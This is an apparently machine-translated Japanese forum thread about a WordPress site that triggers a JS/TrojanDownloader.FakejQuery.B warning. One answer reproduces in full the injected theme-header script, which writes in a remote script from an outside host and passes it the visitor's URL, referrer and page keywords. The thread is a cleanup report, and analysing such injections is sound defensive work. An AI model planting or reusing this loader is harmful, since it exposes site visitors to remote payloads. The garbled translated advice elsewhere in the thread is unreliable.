脅威は、私がウェブサイトにこの戦国を訪問しようとしている一部のコンピュータで取得するために始めたドメインに私のウェブサイトを接続して以来、私のワードプレスのウェブサイト

Question

で見つかりました。表示URL

脅威：JS/TrojanDownloader.FakejQuery.Bトロイの木馬

私は何をすべき？

Answer 1

ドメインのホストを経由している場合は、そのドメインの説明に連絡します。あなたが自分でそれをホストしているのであれば、接続しているクライアントに影響を与える可能性のある他のアクティブなポートを調べるために、Shodan拡張機能をサイト上で実行します。あなたのJavaScriptファイルのすべてを怪しいものにしてください。

これは正直なところ私の経験では偽造品に見えます。これは実際のトロイの木馬の代わりに、トランスクリプトが使用するもののように見えます。あなたのウェブサイトに任意のjavascriptを持っていないなら、私はほとんどそれが本当ではないことを保証するでしょう。

Answer 2

このウイルスに攻撃されたクライアントを持っているので、私はちょうどこの投稿に出会ったばかりです。このサイトは私が追加したいと思うものではなく、Wordpress 3.6（かなり古いもの）を実行していた。

私は、テーマファイルを経て、これはヘッダに追加された：

<script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCString();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(var e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascript" src="' + 'http://sweetsalesgirl.com/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'K85164' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var metas = document.getElementsByTagName('meta');if (metas) {for (var x=0,y=metas.length; x<y; x++) {if (metas[x].name.toLowerCase() == "keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><' + '/script>')));</script> 

私はトロイの木馬の警告が離れていったテーマのヘッダからこれを除去することによって、発見しました。

ワース除去。